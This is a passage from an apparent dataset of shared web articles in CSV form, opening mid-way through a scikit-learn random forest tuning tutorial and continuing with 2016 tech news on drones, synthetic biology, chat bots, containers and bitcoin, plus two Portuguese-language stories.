repeated evaluation on the test dataset, knowledge of the test set can leak into the model building phase. You are at risk of inadvertently learning something about the test set, and hence are susceptible to overfitting . How does one get around these issues? Grid search with k-fold cross validation for hyperparameter tuning Enter k-fold cross-validation , which is a handy technique for measuring a model's performance using only the training set. k-fold CV is a general method (see an explanation here ), and is not specific to hyperparameter optimization, but is very useful for that purpose. You simply try out different HP values, get several different estimates of model performance for each HP value (or combination of HP values), and choose the model with the lowest CV error. With 10-fold CV, the process looks like this: In the context of HP optimization, you perform k-fold cross validation together with grid search to get a more robust estimate of the model performance associated with specific HP values. The combination of grid search and k-fold cross validation is very popular for finding the models with good performance and generalisability. So, in HP optimisation, you are actually trying to do two things: Find the combination of HPs that improves model performance (e.g. accuracy) Make sure that this choice of HPs will generalize well to new data The CV is there to address the second concern. scikit-learn makes grid search with k-fold CV very easy and slick to do, and even supports parallel distributing of the search (via the n_jobs argument). The set-up looks like this: from sklearn.grid_search import GridSearchCV # Search for good hyperparameter values # Specify values to grid search over n_estimators = list(np.arange(10, 60, 20)) max_features = [None, 'sqrt', 'log2'] hyperparameters = { 'n_estimators': n_estimators, 'max_features': max_features } # Grid search using cross-validation gridCV = GridSearchCV(RandomForestClassifier(), param_grid=hyperparameters, cv=10, n_jobs=4) Next, you tell the model to use the training data to perform the grid search with 10 fold CV. You can then collect the best combination of HP values with the model attribute best_params_ : # Perform grid search with 10-fold CV gridCV.fit(XTrain, yTrain) # Identify optimal hyperparameter values best_n_estim = gridCV.best_params_['n_estimators'] best_max_features = gridCV.best_params_['max_features'] print(""The best performing n_estimators value is: {}"".format(best_n_estim)) print(""The best performing max_features value is: {}"".format(best_max_features)) The best performing n_estimators value is: 30 The best performing max_features value is: sqrt You can visually represent the results from this grid search (stored in gridCV.grid_scores_ ) with a heatmap: import matplotlib.pyplot as plt %matplotlib inline # fetch scores, reshape into a grid scores = [x[1] for x in gridCV.grid_scores_] scores = np.array(scores).reshape(len(n_estimators), len(max_features)) scores = np.transpose(scores) # Make heatmap from grid search results plt.figure(figsize=(12, 6)) plt.imshow(scores, interpolation='nearest', origin='higher', cmap='jet_r') plt.xticks(np.arange(len(n_estimators)), n_estimators) plt.yticks(np.arange(len(max_features)), max_features) plt.xlabel('Number of decision trees') plt.ylabel('Max features') plt.colorbar().set_label('Classification Accuracy', rotation=270, labelpad=20) plt.show() Finally, you can now train a new random forest on the wine dataset using what you have learned from the grid search: # Train classifier using optimal hyperparameter values # You could have also gotten this model out from gridCV.best_estimator_ rf = RandomForestClassifier(n_estimators=best_n_estim, max_features=best_max_features) rf.fit(XTrain, yTrain) rf_predictions = rf.predict(XTest) print (metrics.classification_report(yTest, rf_predictions)) print (""Overall Accuracy:"", round(metrics.accuracy_score(yTest, rf_predictions),2)) precision recall f1-score support 0.0 0.79 0.84 0.81 188 1.0 0.84 0.80 0.82 212 avg / total 0.82 0.81 0.82 400 ('Overall Accuracy:', 0.81) Congratulations, you tuned and applied your random forest classifier! You now get ~0.81 accuracy. This is quite a bit better than the poorly parameterized models which yielded ~0.7 accuracy, and is a noticeable difference from the default 0.77-0.79 values. Importantly, it was not too difficult to get this boost - scikit can do grid search with k-fold CV in 1 line of code. How could you try to improve performance further? Note that grid search with k-fold CV simply returns the best HP values out of the available options, and is therefore not guaranteed to return a global optimum. It makes sense to choose a diverse collection of possible values that is somewhat centred around an empirically sensible default. Conclusion So, that was an overview of the concepts and practicalities involved when tuning a random forest classifer. You started with the motivation for tuning machine learning algorithms (i.e. nicer, bigger numbers in your models' performance reports!). You then evaluated different candidate models by simple trial and error, as well as by using grid search with k-fold cross validation. You then ran the best possible model on the test set in order to predict wine quality from a set of chemical characteristics, and made correct predictions 81% of the time. You could have chosen to tune various other hyperpramaters , but the two referenced above are regarded as quite important. In our next post, we will explore different ways to tune models and how to optimise a support vector machine and logistic regression classifier. Stay... tuned! Cue groans Quick quiz: Now that you're familiar with adjusting and optimizing the behaviour of random forests in classification tasks, see if you can tackle these questions (feel free to leave your answers in the comments section): How do you think that altering the n_estimators and max_depth HPs would affect the bias and variance of a random forest classifier? To get more of an intuition of how random forests operate, play around with printing the importance of the features with print (rf.feature_importances_) under different conditions. What happens to the features importances when you set max_depth=0 ? Try setting max_features=1 . What does this force the trees in the random forest to do? ` Bonus question: It is interesting that the random forest performs better on the wine data with quite low values of max_features . What do you think this says about the features in the dataset? ABOUT THE AUTHORS Natasha Latysheva Natasha is a computational biology PhD student at the MRC Laboratory of Molecular Biology. Her research is focused on cancer genomics, statistical network analysis, and protein structure. More generally, her research interests lie in data-intensive molecular biology, machine learning (especially deep learning) and data science. Charles Ravarani Charles is a research associate at the MRC Laboratory of Molecular Biology. Since the time of his PhD in Computational Biology, Charles has been working with large-scale genomic datasets to build molecular models of gene expression noise that ultimately improve the efficiency of current drug treatments. In his research, machine learning techniques have proven very useful and he is keen to be involved in the wider ML community to learn about new techniques.",en
1459768604,CONTENT SHARED,-5989749314869037016,-2979881261169775358,-7481516282308421873,,,,HTML,http://www.theverge.com/2016/4/4/11359828/flying-chainsaw-drone-finland,This is the flying chainsaw drone you knew was coming,"Truly, we live in a golden age of Putting Dangerous Things On Drones. We've seen people strap fireworks , paintball guns , real guns , and even flamethrowers to quadcopters and the like, and so it was only a matter of time before someone tried with power tools. A group of Finnish filmmakers have stepped up to the plate, hanging a petrol-powered chainsaw underneath a DJI S1000 octocopter drone. The resulting craft - nicknamed Killer Drone, of course - looks like something from a sci-fi horror film, charging around snowy fields and bursting open the heads of unaware snowmen. Killer Drone massacres icicles; gets taken out by balloons However, this maniacal creation probably isn't as dangerous as you might think. I mean, yes, it's still a chainsaw attached to a drone, and so isn't really suitable for the under-fives, but the video itself has been edited to make Killer Drone appear more killer-y. It manages to chop down some icicles and a few branches (perhaps), but it bounces off the slim trunk of a tree - presumably the drone just doesn't have enough thrust to apply any real pressure with the chainsaw. In the end, it's even taken down by a handful of balloons (presumably set up for target practice) that get tangled up in its rotors. The takeaway is: if you're chased by a chainsaw-wielding drone in the future, just throw a blanket over it and watch it fall to the ground. Oh, and make sure it doesn't sneak up behind you:",en
1459768777,CONTENT SHARED,-4485188959476061019,-2979881261169775358,-7481516282308421873,,,,HTML,http://m.phys.org/news/2016-03-language-cells.html,A programming language for living cells,"MIT biological engineers have devised a programming language that can be used to give new functions to E. coli bacteria. Credit: Janet Iwasa MIT biological engineers have created a programming language that allows them to rapidly design complex, DNA-encoded circuits that give new functions to living cells. Using this language, anyone can write a program for the function they want, such as detecting and responding to certain environmental conditions . They can then generate a DNA sequence that will achieve it. ""It is literally a programming language for bacteria,"" says Christopher Voigt, an MIT professor of biological engineering. ""You use a text-based language, just like you're programming a computer. Then you take that text and you compile it and it turns it into a DNA sequence that you put into the cell, and the circuit runs inside the cell."" Voigt and colleagues at Boston University and the National Institute of Standards and Technology have used this language, which they describe in the April 1 issue of Science , to build circuits that can detect up to three inputs and respond in different ways. Future applications for this kind of programming include designing bacterial cells that can produce a cancer drug when they detect a tumor, or creating yeast cells that can halt their own fermentation process if too many toxic byproducts build up. The researchers plan to make the user design interface available on the Web. No experience needed Over the past 15 years, biologists and engineers have designed many genetic parts, such as sensors, memory switches, and biological clocks, that can be combined to modify existing cell functions and add new ones. However, designing each circuit is a laborious process that requires great expertise and often a lot of trial and error. ""You have to have this really intimate knowledge of how those pieces are going to work and how they're going to come together,"" Voigt says. Users of the new programming language, however, need no special knowledge of genetic engineering. ""You could be completely naive as to how any of it works. That's what's really different about this,"" Voigt says. ""You could be a student in high school and go onto the Web-based server and type out the program you want, and it spits back the DNA sequence."" The language is based on Verilog, which is commonly used to program computer chips. To create a version of the language that would work for cells, the researchers designed computing elements such as logic gates and sensors that can be encoded in a bacterial cell's DNA. The sensors can detect different compounds, such as oxygen or glucose, as well as light, temperature, acidity, and other environmental conditions. Users can also add their own sensors. ""It's very customizable,"" Voigt says. The biggest challenge, he says, was designing the 14 logic gates used in the circuits so that they wouldn't interfere with each other once placed in the complex environment of a living cell. In the current version of the programming language, these genetic parts are optimized for E. coli, but the researchers are working on expanding the language for other strains of bacteria, including Bacteroides, commonly found in the human gut, and Pseudomonas, which often lives in plant roots, as well as the yeast Saccharomyces cerevisiae. This would allow users to write a single program and then compile it for different organisms to get the right DNA sequence for each one. Biological circuits Using this language, the researchers programmed 60 circuits with different functions, and 45 of them worked correctly the first time they were tested. Many of the circuits were designed to measure one or more environmental conditions, such as oxygen level or glucose concentration, and respond accordingly. Another circuit was designed to rank three different inputs and then respond based on the priority of each one. One of the new circuits is the largest biological circuit ever built, containing seven logic gates and about 12,000 base pairs of DNA. Another advantage of this technique is its speed. Until now, ""it would take years to build these types of circuits . Now you just hit the button and immediately get a DNA sequence to test,"" Voigt says. His team plans to work on several different applications using this approach: bacteria that can be swallowed to aid in digestion of lactose; bacteria that can live on plant roots and produce insecticide if they sense the plant is under attack; and yeast that can be engineered to shut off when they are producing too many toxic byproducts in a fermentation reactor. More information: ""Genetic circuit design automation"" DOI: 10.1126/science.aac7341 Provided by: Massachusetts Institute of Technology",en
1459769585,CONTENT SHARED,-264519121623606417,-1443636648652872475,-2305829160678551058,,,,HTML,http://venturebeat.com/2016/04/03/how-googles-ai-paved-the-way-for-the-next-generation-of-bots/,How Google's AI paved the way for the next generation of bots,"Bots are fast becoming all the rage in tech, offering users the ability to use a messaging app to type in simple English requests to services like Uber. The user interface is just like texting a friend, and it's far simpler to enter a message than to download and use a clunky native app. As more bots and bot platforms like Slack emerge, it's interesting to note that Google has spent almost 20 years perfecting how to respond to a text query. Today's bots have a lot to learn from Google's lessons in natural language interpretation, artificial intelligence, and user interface. The quintessential example of a bot is ordering an Uber on Slack, which is relatively straightforward since Slack on mobile knows where you are. However, most current bots quickly devolve into endless back and forth. For example, picking an airline flight via text is about as tedious as using an airline voice response system. Messaging back and forth with a bot is tedious Perhaps eventually bots will become smart enough to know exactly what you want when you ask for a flight from SFO to JFK, but we are a long, long way from them knowing whether you are traveling for business or pleasure, if you need a different airport this time versus last time due to meetings, or if you want to fly a particular airline to round out an elite mileage tier. How Google led the way with less text Google has long been the master of returning the most relevant research to a textual query. Seven years ago, it began interpreting the intent of queries and returning cards with answers to queries above search results. Over the years, Google's cards have evolved into highly interactive apps covering everything from weather to music, lyrics, and flights. Google understands shorthand English like ""flights from SF to LA"" and returns interactive cards in the search results. An interactive card is a much more efficient user interface than messaging back and forth with a bot. We want to send text, but the last thing we want back is more text. Google's interactive card apps Clicking on the ""show flights"" button in the card or on the ""Flights"" tab takes the user to a full-screen, fully interactive micro app capable of directing the user all the way through a flight purchase. Bots will likely soon move to this methodology of using a full-screen micro app for more complex interactions. To drive the point home that text-only interaction sucks, a few years ago Google killed its SMS search product after its interactive cards and micro apps became fully entrenched in smartphones. Choosing the right medium for the message Much like people wait until they are using a computer to write a document rather than attempting to do it on a phone, natural language bots are suited to different tasks in different contexts. When using a voice-only interface, interactions are generally limited to simple questions and answers. When typing into a smartphone, a more complex query can return a more sophisticated interactive card or micro app. Here's a brief layout of examples for each interaction option: The emerging bot platforms need to become micro app platforms So what does this all mean for messaging platforms such as Slack and Facebook Messenger that are supporting bots? Looking at Google's path, they will soon need to augment their APIs so that card apps and even micro apps can flourish within their platforms . Supporting card apps and micro apps will require a new generation of lightweight HTML APIs like Google's card API . Ironically, Facebook has killed off its FBML (Facebook Markup Language) platform, but perhaps React.js will be able to fill its shoes. Users are tired of bloated native apps, with an overwhelming number of features, and this is a great opportunity for lightweight, HTML-oriented apps to be dynamically loaded in real time. Google also responds to simple queries before they're even complete, another feature that messaging platforms will likely soon add. Google's search now answers some queries while you're typing And with some queries, bots should answer your question before you even submit it, as Google now does in Chrome for some queries like the weather and stock quotes. Longer term, bots should message you when something of particular interest to you happens. Right now, bots are quite verbose and spit out everything that happens in a source system like Salesforce or Github. Again, we can learn from Google, whose Google Now proactively sends you push notifications and interactive cards apps based on your context and interests. Google will likely integrate a similar experience into its messenger Hangouts, and as O'Reilly's Alistair Croll notes, Google is also integrating intelligent card apps and micro apps into its Inbox email product . An emerging platform war for developers After nearly a decade of iOS and Android apps, it's great to have an opportunity to revisit how to invoke app-like functionality and also to slim down an app based on a query and user context. In the enterprise, users will likely come to expect that all of their enterprise tools are queryable and offer proactive, interactive cards and micro apps. The value of bots for the enterprise user is only just becoming clear. Enterprise bots will likely be used to augment intelligence in the context of conversations, push relevant information to employees, and optimize workflows. Google has a big lead in responding to text queries, but Microsoft has already announced a bot API for Skype, and new players like Slack are emerging. All in all, this will be a fun show - we haven't had a developer platform war in almost a decade! Peter Yared is founder and CTO of Sapho and formerly CTO/CIO of CBS Interactive.",en
1459769707,CONTENT SHARED,-8900307211613973542,-1443636648652872475,-2305829160678551058,,,,HTML,http://motherboard.vice.com/en_uk/read/how-machine-learning-dieting-app-health,How Machine Learning Will Change Our Relationship to Food,"It's by now a given that one of the best ways to eat better, whether that means consuming less calories and-or more vegetables and-or whatever, is to just actually pay attention to what we eat. This is the big secret behind dieting-any old fad diet is probably going to have a positive effect simply because the dieter is paying more attention to what they put into their face. And just by virtue of paying attention, they will probably eat healthier. The fad diet usually gets the credit, but just caring at all goes a very long way. Paying attention is hard, however. Even now, with nutrition information plastered all over the place and a million apps ready to log your every bite, staying on top of food intake is a real pain in the ass. How well can you quantify everything you've eaten over the past week? Nutrition researchers from Tufts University together with engineers from MIT have a new solution to this problem of accurately and consistently logging food intake. Their prototype system, which was presented last week at the IEEE International Conference on Acoustics, Speech, and Signal Processing, is based on the machine learning subfield of natural language processing. It's basic operation is to take a user's sloppy human description of a meal and to convert it accurately into well-quantified nutritional information. The first challenge in such a system is the same as in any natural language processing system, which is just making sense of human speech. At the bare minimum, it has to be able to figure out that, say, ""ice cream"" is something different than frozen cream or cream with ice in it. Or that the user is eating what is in the bowl and not the bowl itself. Even getting this far is pretty tricky. Next, the system has to be able to make nutritional sense of the decoded speech. Here, the researchers turned to Amazon's Mechanical Turk microlabor service, where they collected some 10,000 meal logs from Turk workers. Each log consisted of meal descriptions and sets of labels assigned to each food item, such as brand and quantity. This is the data the researchers used to train their system on. So, the trained system was able to take a spoken description of a meal from some user and then assign tags or labels to different components relating to type of food, brand, quantity, and so forth. With these things isolated, it becomes just a matter of looking nutritional information up in USDA and Nutritionix databases. MIT team member James Glass cautions that this is hardly a perfect system and that we should probably not be expecting it to appear in app stores anytime soon. ""Speech recognition doesn't work the way humans work,"" he tells IEEE Spectrum . ""That's the direction it needs to go into, but it's not there yet.""",en
1459773153,CONTENT SHARED,4296604388230897073,6735372008307093370,48702668708902122,,,,HTML,https://catracalivre.com.br/geral/cidadania/indicacao/garoto-filho-de-casal-homoafetivo-rebate-jovem-durante-o-altas-horas/,"No ""Altas Horas"", garoto filho de casal homoafetivo dá lição contra a homofobia","No programa ""Altas Horas"", do último sábado, 2, o carioca André Lodi, de 14 anos, foi convidado para falar da sua família, formada por ele e suas duas mães. Questionado pela plateia, Lodi respondeu às dúvidas de outros jovens de sua idade, que envolvia temas como a rotina, educação, amigos e outras questões do dia a dia. Em um ponto da entrevista, um outro garoto, aparentemente da mesma idade, afirma que apesar de não ter preconceito, não considerava normal uma família formada por duas pessoas do mesmo sexo. E perguntou a Lodi: ""Mas quando você percebeu que tinha duas mães?"", Lodi respondeu com outra pergunta: ""Posso te fazer uma pergunta? O seu núcleo familiar, como é formado?"". Ao que outro jovem da plateia respondeu: ""Normal, [tenho] pai e mãe. Desculpa, pra mim, o normal é ter uma mãe e um pai, mas não que eu tenha algum preconceito"", tentou argumentar. Em meio ao diálogo com direito à plateia, literalmente, Lodi questionou: ""Ah, então, você está dizendo que a minha família não é normal?!"", e pôs um ponto final: ""Quando você percebeu que tinha um pai e uma mãe?"", com efusivos aplausos do público presente. Ao final do bate-papo, o apresentador Serginho Groismann completou: ""Normalmente, quando acaba esse quadro, eu falo algumas coisas e tal. Sabe o que vou falar ? Muito Obrigado pela vinda"", encerrou. Repercussão nas redes sociais: Rapidamente, o episódio repercutiu nas redes sociais e Lodi recebeu inúmeros elogios de anônimos. ""Um prêmio pra esse garoto no 'Altas Horas'"", uma internauta opinou pelo Twitter. ""Nossa mas esse garoto do arrasou demais"", avaliou outra. Também houve quem considerou a resposta de Lodi como ofensiva, ""Não gostei da grosseria desse menino na Globo"", escreveu um tuiteiro.",pt
1459773831,CONTENT SHARED,-3709378389941441506,-8550167523008133722,-2616705171727348027,,,,HTML,http://techcrunch.com/2016/02/04/coreoss-rkt-container-engine-10/,CoreOS's rkt Container Engine Hits 1.0,"CoreOS 's container runtime competitor rkt hit version 1.0 today and according to the company, it's now ready for production use. Version 1.0 introduces a number of new security features and, going forward, any changes to the command line interface and on-disk format will be backwards compatible. Rkt currently supports both applications packaged as CoreOS App Container images and in Docker's image format, so you could build your containers with Docker and still run them under rkt. CoreOS announced the rkt project in late 2014 with the express intent to offer an alternative to the Docker runtime. ""We thought Docker would become a simple unit that we can all agree on,"" CoreOS CEO Alex Polvi said at the time. ""Unfortunately, a simple re-usable component is not how things are playing out. Docker now is building tools for launching cloud servers, systems for clustering, and a wide range of functions: building images, running images, uploading, downloading, and eventually even overlay networking, all compiled into one monolithic binary running primarily as root on your server."" Besides rkt, CoreOS also launched the App Container (appc) project around the same time. Appc is an alternative to the Docker's container specs and image format. Over the course of the last year, Docker contributed its container specs to the Open Container Initiative , an open source alliance that includes all of the major players in this field. At first glance, it seems this move should've put the wind out of projects like rkt, appc and CoreOS's image format. Polvi, however, argues today that ""the primary focus of the OCI community is creating standards for the container runtime environment, rather than the container image."" For the most part, having two highly visible competing products in this space will only help push the container movement forward - especially given that the standardization process is still in its infancy.",en
1459779384,CONTENT SHARED,2888507406903473601,6735372008307093370,48702668708902122,,,,HTML,https://catracalivre.com.br/geral/cidadania/indicacao/amor-sem-fronteiras-serie-de-fotos-de-casais-gays-pelo-mundo/,Amor sem fronteiras: série de fotos retrata casais gays pelo mundo,"Fotógrafo novaiorquino rodou o mundo para provar que todo amor é igual, mesmo sendo diverso Idade, cor, etnia, religião ou sexo. Quando o assunto é amor, nada disso importa. Na série ""Todo Amor é Igual"", o fotógrafo novaiorquino Braden Summers retratou com delicadeza e sensibilidade casais homossexuais de diferentes regiões do globo. Summers viajou para a França, Índia, Líbano, Brasil, África do Sul, EUA e Reino Unido para capturar cumplicidade, paixão, desejo e companheirismo entre pessoas do mesmo sexo. Segundo o fotógrafo, sua intenção com o trabalho foi desconstruir a imagem de ""romance ideal"" apenas entre pessoas do mesmo sexo e assim, ampliar o imaginário popular acerca da ideia de romantismo.",pt
1459783051,CONTENT SHARED,-9041823059579281174,-1443636648652872475,-2305829160678551058,,,,HTML,http://apexgametools.com/2016/04/free-online-game-ai-classes/,Free online Game AI Classes - Apex Game Tools,"Would you like us to create free online Game AI classes? As a company we have a lot of activities around Game AI Teaching at universities. Conference talks. On-location workshops. Collaborating with leading industry researcher. Collaborating with big and small Game Studios. Contracting work in regards to game AI implementation. We get very good feedback on our workshops, classes, talks etc. and quite often we get asked if we ever considered doing online classes/session! This is a really great idea we like to try out, there is nothing like talking to follow developers that are passionate about the same topics as we are! We like to figure out if you have an interest in us creating free online classes about Game AI! also game AI is a broad topic so we like to know what topic is most relevant to you.",en
1459790679,CONTENT SHARED,3473173479782472081,4340306774493623681,-2741563996112096982,,,,HTML,http://www.coindesk.com/consortium-of-global-banks-formalizes-partnership-with-microsoft/,R3 Blockchain Consortium Partners with Microsoft - CoinDesk,"Microsoft today announced a strategic partnership with R3CEV, a consortium of 42 global banks working on blockchain applications that includes J.P. Morgan Chase, Goldman Sachs and more. The full partnership, which was first tested back in January with just a few of R3CEV's members, gives the consortium access to more than just Microsoft's platform of Blockchain-as-a-Service tools. Charley Cooper, managing director or R3CEV, told CoinDesk that the formal partnership came after a series of tests with other potential partners, including Amazon and IBM. A dedicated team of five Microsoft employees is now working directly with consortium members. Cooper told CoinDesk: ""Throughout the experiments we started to realize that the level of expertise they gave us in terms of the man-power and the technology actually made them the ideal partner."" Under the terms of the non-exclusive deal, Microsoft will provide access to 45 cloud-based tools on its Azure platform, including those created by ConsenSys, Ripple, Eris Industries, Factom, BitPay, and others. In addition to the software, Microsoft has set aside a team of ""dedicated technical architects, project managers, lab assistants and support services"" to work with consortium members around the world. The partnership comes after 11 of R3's consortium members, including Barclays, Credit Suisse, and Well Fargo completed a test of private version of the Ethereum network using Microsoft's Blockchain-as-a-Service (BaaS) in January. Two other tests were conducted before today's announcement using a combination of cloud platforms from Microsoft, Amazon, and IBM. ""R3 and member banks will experiment and learn faster, accelerating distributed ledger technology deployment,"" said Peggy Johnson, executive vice president of global business development at Microsoft, in a statement . ""What's more, our collaboration brings to light tremendous opportunities to rethink business processes and transform entire industries."" In a separate blog post written by Johnson as part of the Microsoft Envision conference in New Orleans, she wrote that the partnership will help streamline back-office operations, ""potentially saving billions of dollars."" Over the coming weeks and months Cooper says he expect the full scope of the partnership with Microsoft will expand, depending on how the software company and the banking consortium work together. Cooper said: ""Where this raises the stakes is rather than just a couple experiments we view this as a long term partnership that will expand.""",en
1459790719,CONTENT SHARED,-6941293448141178017,4340306774493623681,-2741563996112096982,,,,HTML,https://news.bitcoin.com/panama-papers-bitcoin-stop-corruption/,Panama Papers Scandal Shows How Bitcoin Could Stop Corruption,"A global scandal has erupted with the release of the Panama Papers implicating world leaders, billionaires, dictators, drug kingpins, famous athletes, and even movie stars. Meanwhile, Bitcoin could be a solution to the wide-scale corruption by providing privacy for the masses and transparency for the mega-rich. Also Read: Merchants Create The Illusion of Discounts, More Transparency Is Needed Panama Papers Scandal Proves Bitcoin's Superior Accountability The biggest leak in journalistic history, dubbed the Panama Papers scandal with 11 million documents implicates many of the world's government leaders, officials, Forbes-listed billionaires, famous athletes, banks, as well as the jurisdictions such as Panama enabling the corruption. Among those caught up in #PanamaPapers so far... pic.twitter.com/LcRK7huhXl - ian bremmer (@ianbremmer) April 4, 2016 What is not yet revealed is the name of more than 3,000 US companies and clients and more than 9,000 British equivalent, according to a tweet by WikiLeaks, including 29 billionaires featured in Forbes top 500 world richest list. The US media has been quiet so far, raising criticisms and suspicions, with German newspapers leading this ground-breaking story. Bitcoin has often been criticized by regulators as being anonymous , therefore allowing money laundering and other illegal activities. However, as a number of bitcoin users who have engaged in such activities have been arrested and convicted while fully anonymous users of offshore facilities have avoided punishment, the opposite can be shown. Bitcoin, by necessity, has a public ledger of transactions which anyone can see, verify, analyze . Payments by any address to any other address are fully recorded, thus making bitcoin pseudo-anonymous, as opposed to fully anonymous expensive offshore facilities where an estimated 21 trillion dollars is currently hidden. Although steps can be taken to make Bitcoin transactions fully anonymous, they require, in most cases, expertise, with the default position being pseudo-anonymous. That is, no one can tell what Bitcoin address belongs to who, unless you reveal you are the owner of the address, when, say, receiving payments. Once the address is revealed anyone can see when you make a payment to another address. However, no one necessarily knows who you are sending payments to, so seeing only random numbers and letters, unless the address receiving the payment is known. Bitcoin, therefore, can be as private or as transparent as required depending on whether you reveal yourself as the owner of the address. Bitcoin: Privacy For the Masses, Transparency for the Rich With modest amounts, a simple way to maintain privacy is to transfer coins to another unknown address. At that point, no one can be sure whether you paid yourself or someone else. If, however, the amount is great, then maintaining privacy is somewhat more difficult. Although one could transfer, for example, 200,000 bitcoins, worth almost 100 million dollars, it is improbable that the transfer is to another person or entity, especially if the transferor is a company, say a bitcoin exchange. When MtGox announced that they had lost all their bitcoins, one could tell that was not the case by looking at known MtGox addresses, seeing how they interact, and finding likely cold storage addresses. Bitcoin, therefore, provides privacy for the masses and transparency for companies, the rich and wrongdoers. The exact opposite of the current situation where the rich and powerful cheat by not paying their fair share as certain companies make billions in profits, while avoiding paying taxes. While, on the other hand, the masses have as much as 50% of their wealth taken away. Where there is a monetary problem, Bitcoin is the solution. It is no different in the case of the Panama Papers scandal. Remember, the genesis block states Chancellor on Brink of Second Bail Out for Banks. Bitcoin was created to solve the problems of the banking system which took more than a trillion in bailouts from the people, and it is meant to improve upon the current system, to make it more equitable, and make it work for the good of all. Do you think corruption on such scale could have been avoided if Bitcoin had been used? Let us know in the comments section below! Images courtesy of bbc, twitter, panamapapers.sueddeutsche.de, t13.cl",en
1459790861,CONTENT SHARED,-2273517184910006534,4340306774493623681,-2741563996112096982,,,,HTML,http://www.newsbtc.com/2016/04/04/venture-capitalists-inject-nearly-half-billion-bitcoin-blockchain-throughout-2015/,Venture Capitalists Inject Nearly Half a Billion in Bitcoin,"The Consultancy report also mentions how blockchain technology adoption is subject to far more mental barriers compared to other offerings in the FinTech sector. The year 2015 has been a particularly good one for Bitcoin startups all over the world, as a lot of money was raised over the course of 12 months. A recent report by Consultancy in the Netherlands shows how FinTech, in general, has been booming last year, with close to US$19 bn invested in total. What is of particular interest is the US$474m venture capitalists put into Bitcoin and blockchain startups. Also read: Bitcoin Price Technical Analysis for 04/04/2016 - Slow Crawl! Venture Capitalists Remain High on Bitcoin After the significant growth of venture capitalist funding of Bitcoin and blockchain companies in 2014, a lot of industry experts were wondering if this trend was sustainable in the years to come. Keeping in mind how numbers from US$80m in 2013, all the way to US$299m in 2014, such a spectacular growth would be hard to match for any industry. But and blockchain technology startups managed to turn 2015 into an even more spectacular year, as the total amount of funds raised to US$474m. This goes to show venture capitalists have a keen interest in Bitcoin and its underpinning technology, despite fierce competition from entrepreneurs and startups all over the world. Most people are well aware of the fact Bitcoin and the blockchain are two of the most disruptive forms of technology the world has seen in quite some time. Not only would it be possible to save a fair amount of overhead costs when employing Bitcoin or the blockchain, but it also increases transaction transparency and overall speed. KPMG [ ] audited this report, and issued a warning about these investment numbers: ""We have to be cautious when attempting to value the potential net worth of Bitcoin and blockchain technology. There is a significant interest in the concept of distributed ledgers, a technology that, until five years ago, was only known as the foundation powering the Bitcoin protocol. Ever since that time, the concept has grown from a blip on the radar into something a lot of venture capitalists are keeping a close eye on."" Header image courtesy of Shutterstock The Consultancy also mentions how blockchain technology adoption is subject to far more mental barriers compared to other offerings in the FinTech sector. Not only are there legislative and regulatory requirements to take into account, but there are some concerns regarding the scalability of this technology. Moreover, integrating the blockchain into existing financial infrastructure will be quite the challenge for established financial players. All in all, the numbers for 2015 are quite spectacular, and beyond the wildest dreams, Bitcoin and blockchain enthusiasts may have had at the end of 2014. The digital currency ecosystem is , and venture capitalists all over the world want to be a part of the next big thing. Only time will tell if developers can conquer the obstacles that are hampering global adoption right now.",en
1459790915,CONTENT SHARED,1852992637140705599,4340306774493623681,-2741563996112096982,,,,HTML,https://www.cryptocoinsnews.com/bitcoin-for-a-tesla-yes-that-happened/,Bitcoin For A Tesla Model 3...Yes That Happened,"Well, it certainly has been a banner week for the folks over at Tesla. So far, the company is reporting that the pre-sales activity on the Model 3 just might account for over $8b in sales. One customer even used Bitcoin to lock their new ride in. A new post by a user named ""Mason"" over at goes through the process of how he/she ordered the Model 3. The chain of events was as follows: I just preordered an automobile that I have never seen or touched, which is propelled by electrons flowing through copper wires, that has a 0-60 of under four seconds and supposedly comes with no instrument cluster. I preordered this vehicle with an invisible currency that was invented by a pseudo-anonymous computer programmer who calls himself Satoshi Nakamoto and is likely not Japanese. I made this purchase using a service that dispenses ephemeral credit cards made by some Canadian guy that I met online named Jean. Whom I met after placing a $400 Bitcoin bounty for creating a Bitcoin payable API endpoint that could order and deliver me pizza upon payment. Using Bitcoin to pre-order a Tesla is quite an interesting statement. Not procedurally, because as we know (and Mason has documented) of course, it can be done. What is fascinating is that now these process gaps that once kept Bitcoin out of the everyday economy are evaporating. According to the account above, it sounds like ""Mason"" had to spend a little bit of time on this. I think we can all imagine a not too distant future whereas all of these hurdles have disappeared. One of the leading Silicon Valley companies, Tesla Motors, is now officially a part of the ""internet of money."" Is this the first time that someone has used Bitcoin to pay for a Tesla? Maybe , maybe not. But that is not important. What's important is that in a year that is shaping up to be pivotal for Bitcoin and blockchain, more stories like this are emerging. In the article, Mason quotes Steve Coast as saying, "" The world will only get weirder! "" True, but as Mason implies, don't forget to enjoy the drive! Featured image from Tesla.",en
1459790983,CONTENT SHARED,-1868297195590431285,4340306774493623681,-2741563996112096982,,,,HTML,http://www.newsbtc.com/2016/04/03/blockchain-ceos-business-advice-bitcoin-startups/,Blockchain CEO's Business Advice on Bitcoin Startups,"Things are not all rosy when it comes to the Bitcoin ecosystem from a startup point of view, as funding can remain a struggle for many companies. Threading the waters as a Bitcoin startup is far from an easy task, as there are many different pitfalls to take into account. Moreover, given the negative stance most banks have toward Bitcoin startups, it might become a struggle to find the right financial partner at an early stage. Blockchain CEO Peter Smith recently shared some of his personal advice for any startup or entrepreneur looking to strike it big in the world of Bitcoin and digital currency. Also read: Next Looming Financial Crisis Is A Potential Boost for Bitcoin A Bitcoin Startup Career Is Possible For Everyone Contrary to what most people might , it is never too late to get involved with and digital currency in general. That being said, not everyone is cut out to become a self-employed individual in these times of financial hardship , and being part of a company entitles employees to certain benefits that would remain out of reach otherwise. There is no shortage of enthusiasm in the Bitcoin space, though, which can only be seen as further validation of how much the digital currency industry has matured over the past few years. A lot of have turned into industry leaders, and with a growing focus on blockchain technology, many entrepreneurs and startups are exploring the boundaries of what is possible. All of these things lead to a healthy job creation record in the Bitcoin industry. But things are not all rosy when it comes to the Bitcoin ecosystem from a point of view, as funding can remain a struggle for many companies. Bright ideas are one thing, but that does not mean they are all viable. Luckily, there are quite a few industry experts who will help out startups and their ideas, although a proper Bitcoin accelerator would be a great addition. Increasing the staff of a startup can become rather expensive as well, depending on whether employees need to relocate or can work from home. The latter option is more attractive in the financial sense, but it's not viable for every type of business either. This is one of the reasons why internships play such an increasing role of importance for Bitcoin startups, as it is a cheaper and more efficient way to increase the workforce. Header image courtesy of Shutterstock Keeping in mind how regular internships are not paid opportunities, there is still a lot of value in this business model for all parties involved. Bitcoin startups have an extra pair of hands - as well as an additional brain - on deck, whereas the 